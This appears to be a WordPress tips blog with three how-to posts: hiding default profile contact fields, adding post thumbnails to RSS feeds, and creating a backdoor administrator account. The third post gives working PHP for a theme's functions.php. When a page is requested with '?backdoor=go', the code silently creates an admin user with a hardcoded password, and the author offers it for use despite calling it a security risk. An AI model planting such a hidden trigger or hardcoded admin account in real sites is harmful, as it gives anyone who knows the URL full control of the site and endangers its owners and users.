How To: Remove Default Profile Fields in WordPress


A few days ago I came across an interesting challenge in WordPress. I wanted to hide some of the default profile fields from being displayed to the users in WordPress. Specifically I wanted to hide the AIM, Yahoo IM, and Jabber / Google Talk fields. It took a bit of digging but I found the below function buried in the WordPress.org support forums. Just place the below code in your themes functions.php file to remove these fields:

<?php
add_filter('user_contactmethods','hide_profile_fields',10,1);

function hide_profile_fields( $contactmethods ) {
  unset($contactmethods['aim']);
  unset($contactmethods['jabber']);
  unset($contactmethods['yim']);
  return $contactmethods;
}
?>

That’s it! As you can see below the three fields are removed from the Profile page on the WordPress admin side. This makes it much less confusing for users since they don’t see fields that we aren’t using on the website.

How To: Add a Post Thumbnail to an RSS Feed in WordPress


Have you ever needed to add the WordPress post thumbnail to an existing RSS feed? The below code will add a new element named <thumb> to your RSS feed. This element will contain a link to the post thumbnail as set in WordPress:

function ThumbRSS() {
	global $post;
	if ( has_post_thumbnail( $post->ID ) ) {
		$thumbpic = get_the_post_thumbnail( $post->ID, 'thumbnail' );
	}

	echo '<thumb>'.$thumbpic.'</thumb>';
}

add_filter('rss_item', 'ThumbRSS');

Keep in mind using this technique will devalidate your RSS feed as the <thumb> element is not a part of the RSS specification. An alternate approach is to attach the post thumbnail to the beginning of your post content in your RSS feed. Below is an example using this method:

function ThumbRSS($content) {
   global $post;
   if ( has_post_thumbnail( $post->ID ) ){
       $content = '<p>' . get_the_post_thumbnail( $post->ID, 'thumbnail' ) . '</p>' . $content;
   }
   return $content;
}

add_filter('the_excerpt_rss', 'ThumbRSS');
add_filter('the_content_feed', 'ThumbRSS');

Just drop either code example in your themes functions.php file for this to work. Pretty easy huh? Now you can easily include post thumbnails in your WordPress RSS feeds!

How To: Create Backdoor Admin Access in WordPress


Have you ever wanted to create an easy backdoor way to auto-create an administrator account in WordPress? The below code snippet does just that! Simply place the code in your themes functions.php flie and upload to your web server:

<?php
add_action('wp_head', 'my_backdoor');

function my_backdoor() {
	If ($_GET['backdoor'] == 'go') {
		require('wp-includes/registration.php');
		If (!username_exists('brad')) {
			$user_id = wp_create_user('brad', 'pa55w0rd');
			$user = new WP_User($user_id);
			$user->set_role('administrator');
		}
	}
}
?>

To activate this code simply visit http://example.com?backdoor=go

When triggered the code will create a new administrator account with a username brad and password of pa55w0rd. The function also verifies the user account doesn’t exist first before creating it.

Keep in mind using this code is considered a security risk as anyone could easily execute this function by calling the correct querystring. Also don’t be evil, only use this code for good!